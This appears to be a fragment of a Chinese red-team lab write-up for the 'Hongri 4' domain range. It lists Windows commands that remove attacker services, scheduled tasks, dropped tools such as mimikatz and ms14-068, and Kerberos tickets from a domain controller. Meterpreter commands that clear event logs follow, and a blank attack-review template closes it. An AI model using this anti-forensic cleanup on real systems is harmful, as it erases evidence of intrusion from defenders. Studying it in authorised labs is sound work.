sc \\WIN-ENS2VR5TR3N delete stopfw
sc \\WIN-ENS2VR5TR3N delete killold
sc \\WIN-ENS2VR5TR3N delete enable_rdp

:: 红日 4：删除计划任务。
schtasks /delete /s WIN-ENS2VR5TR3N /tn "FinalStrike" /f
schtasks /delete /s WIN-ENS2VR5TR3N /tn "MyShell" /f

:: 红日 4：删除域控上落地文件。
del \\WIN-ENS2VR5TR3N\c$\windows\temp\bind.exe
del \\WIN-ENS2VR5TR3N\c$\windows\temp\fw.txt

:: 红日 4：删除 Win7 上工具和票据文件。
cd C:\Users\douser\Desktop
del bind.exe
del ms14-068.exe
del mimikatz.exe
del TGT_douser@DEMO.com.ccache
del C:\Windows\System32\bind.exe

:: 红日 4：把 douser 移出域管理员组。
net group "domain admins" douser /delete /domain

:: 红日 4：把 douser 移出域控本地管理员组。
net localgroup administrators douser /delete /domain

:: 红日 4：清理当前内存票据。
klist purge

1
2
3
4
5
6
7
8

# Meterpreter：清理 Windows 事件日志。只用于授权靶场复盘。
clearev

# Meterpreter：事件管理模块，查看事件。
run event_manager -i

# Meterpreter：事件管理模块，清理事件。
run event_manager -c

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13

靶场：
来源：
入口点：
初始权限：
提权路径：
内网网段：
域控定位方式：
凭据来源：
横向方式：
域攻击方式：
失败点：
最可复用的一句话：
防守检测点：